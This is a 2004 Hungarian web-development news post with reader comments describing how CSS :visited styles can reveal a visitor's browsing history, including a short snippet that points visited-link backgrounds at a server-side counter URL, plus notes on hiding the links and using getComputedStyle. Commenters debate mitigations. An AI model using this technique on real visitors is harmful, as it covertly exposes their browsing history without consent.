ugrás a tartalomhoz

Nyomozás a felhasználó magánéletéről CSS-sel

Hojtsy Gábor · 2004. Május. 25. (K), 20.04
Felhívjuk kedves olvasóink figyelmét, hogy a következőkben ismertetett módszer tanulmányozása tizennyolc éven aluliak számára csak szülői felügyelet mellett ajánlott! Különben nem biztos, hogy józanul fel lehet mérni a módszerben rejlő lehetőségeket, és távol tudjuk magunkat tartani az alkalmazásától. Következik egy kis recept a felhasználó internetes magánéleti részleteinek kiderítésére, kliens oldali szkriptek nélkül pusztán CSS-sel.

A tegnapi napon hívtuk fel a figyelmet a CollyLogic oldalon bemutatott kipipált linkek technikájára, mely érdekes új megoldást ad a látogatott linkek megjelenítésére. Ezen az ötleten alapul, de egy korábban feltárt 'hibát' használ ki a felhasználók által korábban meglátogatott oldalak felderítését lehetővé tevő trükk. A recept a következő.

Először is generáljunk egy oldalt olyan linkekkel, melyekkel kapcsolatban kíváncsiak vagyunk arra, hogy a felhasználó tett-e látogatást ezeknél az oldalaknál a közelmúltban, azaz pontosan ezek az URL-ek benne vannak-e a böngészési történetében. Állítsunk be minden link :visited tulajdonságához egyedi háttérképet, amelyet természetesen akár egy szerver oldali számláló programra is irányíthatunk. Generáltható például egy a következőhöz hasonló kódrészlet:

<a href="http://weblabor.hu" class="weblabor">Weblabor</a>
<style type="text/css">
 a.weblabor:visited {
   background-image: url("http://example.com/counter.php?weblabor");
 }
</style>
Ha ezt az oldalt az example.com cím alól generáljuk, akkor ezzel akár a felhasználó munkamenetét is felhasználva le tudjuk követni, hogy milyen webhelyeket látogatott a felkínált palettáról a közelmúltban. Nem kérdés, hogy ez elég komoly terhelést tehet a szerverre, de lehetséges, hogy van akinek ez sem drága, ha információra van szükség.

A CollyLogic oldalon tárgyalt probléma linket ad a megfelelő BugZilla bejegyzésre is, a látogatók hozzászólásai pedig arra is rámutatnak, hogy CSS és JavaScript segítségével könnyen össze is gyűjthető a látogatott linkek listája, így nem kell sok lekéréssel sem terhelni a szervert a kutatáshoz.

Ráadásul Jesse Ruderman idézett kommentárjai szerint a szerver oldali program letöltheti a korábban meglátogatott oldalak egyikét, és a következő oldallekérésnél az azokon található linkeket is generálhatja az oldalra, amelyből az is kideríthető, hogy onnan mely lapokra lépett tovább a felhasználó, így pedig egész böngészési történetek deríthetőek ki. A nagy mennyiségű linket tartalmazó oldal szakaszt pedig nem túl bonyolult teljesen elrejteni a felhasználók elől CSS segítségével.

Nehéz ebből a 'felfedezésből' tanulságot levonni. Leginkább csak annyit tudok hozzáfűzni, hogy bármilyen jó szándékkal is készüljön el egy szabvány és annak implementációja, sosem garantálható, hogy egyes elemeinek 'innovatív' felhasználásai ne okozhassanak biztonsági problémákat vagy kockázatokat. Néhányan úgy vélik, hogy nem kell nagyon tartani ettől a kockázattól, mások egy új böngésző beállítást tartanának szükségesnek, mellyel le lehetne tiltani a külső objektumok lehívását látogatott linkek számára készült CSS kiválasztókban.

Köszönjük attlad nevű felhasználónknak is, hogy felhívta a figyelmünket a hírre.
 
1

Megoldás?

Bártházi András · 2004. Május. 25. (K), 20.47
A megoldás viszonylag egyszerű lehet: minden esetben le kell kérni a képet. Ekkor nem lehet szerver oldalon eldönteni, hogy azért jelent-e meg, mert valóban meglátogatta-e?

-boogie-
2

Sebesség

Hojtsy Gábor · 2004. Május. 25. (K), 20.52
Minden böngészőnek az a célja, hogy gyors legyen (Opera, Mozilla törekvések különösen), az üzleti érdek pedig az ellen szól, hogy sávszélességet pazaroljanak (Microsoft hozza fel mindig az üzleti érdeket a böngészőfejlesztés kapcsán). Ha minden képet mindenképpen letöltene, akkor nem lenne igazán gyors...
3

Sebesség vs. biztonság

Bártházi András · 2004. Május. 25. (K), 21.05
Szerintem meg az is célja, hogy biztonságos legyen. Ha ehhez az kell, hogy így működjön, akkor az kell. Nem minden háttérképet kellene egyébként letölteni, hanem csak az active és visited kiválasztósakat. Ezekből általában egy oldalon nincs sok, nincs sokfajta, tehát lényegesen nem is lassít. A lehetőség megszüntetése szerintem egyáltalán nem megoldás, mert jó dologról van szó, viszont ez nem megengedhető kockázat, szóval talán ez a kisebbik rossz.

Ettől függetlenül ez a valóban létező hiba ma, ami ellen sokat még védekezni sem tudunk...

-boogie-
4

Biztonság vs. felhasználás

Hojtsy Gábor · 2004. Május. 25. (K), 21.13
Én nem azt mondom, hogy ezt nem kellene megakadályozni, hanem azt, hogy nem így fogják szerintem. Lehet detektálni mondjuk az ilyen fajta rosszindulatú felhasználást, és lehet blokkolni. De minden :visited kép letöltése nem megoldás, mert attól a böngésző tűnne lassúnak, és nem keltené a biztonság érzetét (lásd Opera milliói blogmark).
5

Képek nélkül, példaoldal

attlad · 2004. Május. 25. (K), 22.36
A CollyLogic oldalon a kommentek között írta vki, h getComputedStyle. Ezzel Mozilla alatt le lehet kérni, h egy-egy elem stílus tulajdonságához milyen érték tartozik. IE-ben nem tudom, h van-e hasonló fv. mindenesetre ezzel sokkal könnyebben is ki tudják használni ezt a bugot :( szóval a képek automatikus letöltése se megoldás. Példaoldal:
http://www.aid.hu/tmp/visited_bug_demo.html
8

Való igaz

Hojtsy Gábor · 2004. Május. 25. (K), 23.05
Erre próbáltam utalni a hírben is, csak azóta elkavarodtam a képekkel. A JS nélküli megoldásban tulajdonképpen az a kivételes, hogy a szkripteket félelemből kikapcsolók is áldozatul esnek...
9

Re: Képek nélkül, példaoldal

Bártházi András · 2004. Május. 26. (Sze), 07.44
Való igaz... :( A hup.hu-n írta atya: le kell venni a history-t 0-ra...

-boogie-
6

Szigorúan szvsz

kgyt · 2004. Május. 25. (K), 22.44
Engem nem zavar, ha tudják, mit néztem meg...
:-)
Sőt, hamarosan készítek egy online listát is róla, hogy azok is láthassák, akik nem értenek a webes nyelvekhet... ;-)

--
Szeretettel: Károly György Tamás
kgyt##kukac##kgyt.hu - http://kgyt.hu
7

Re: Szigorúan szvsz

attlad · 2004. Május. 25. (K), 23.03
Hát ja, végülis igaz, voltak/vannak ennél nagyobb hibák is, én se fogok lynxre váltani :) meg úgye nem is arról van szó, h a history-t látnák, pl. session azonosítót nem lehet vele lopni vagy ilyesmi. De ez akkor is bug, amit azért ki kéne javítani és sztem az az érdekessége, h nem olyan egyszerű megoldását találni rá...
10

It's not a bug

js · 2004. Május. 26. (Sze), 08.27
Szerintem pedig ez nem bug. Akié az oldal, az úgyis tudja, hogy mit nézel: ugyanis nála vannak a logok. A :visited hack meg azért sem jó, mert amikor ráböksz a linkre, akkor csak :active lesz, és csak a következő látogatáskor lesz :visited. De akkor az összes. Én inkább az e-mail-be rakott képek miatt félek.
---jul
11

Re: It's not a bug

Bártházi András · 2004. Május. 26. (Sze), 10.27
Bugnak én se hívnám, de hogy egy biztonsági rés, az biztos. SZVSZ félreérthetted, hogy miről van szó... A "rés" arról szól, hogy az oldal tulajdonosa azt tudja megnézni, hogy *más* oldalakon járt-e az illető. Az meg nyilván nem igaz, hogy az összes link :visited lesz, amikor visszatérsz az oldalra. Csak az lesz :visited, ahol jártál. Az :active segítségével azt is meg tudod nézni, merre ment el az illető, az egyből, ahogy rákattint a linkre, elkezd letöltődni.

Az e-mailbe tett képek ellen sokkal jobb megoldások vannak, pl. a Thunderbird-ben (és más böngészőkben is), szépen meg lehet határozni, hogy megjelenítse-e ezeket a képeket? Nálam le van tiltva...

Ezt viszont sehogy máshogy nem tudod tiltani, csak ha a history-dat 0 hosszúra állítod: így egyik link sem lesz visited.

-boogie-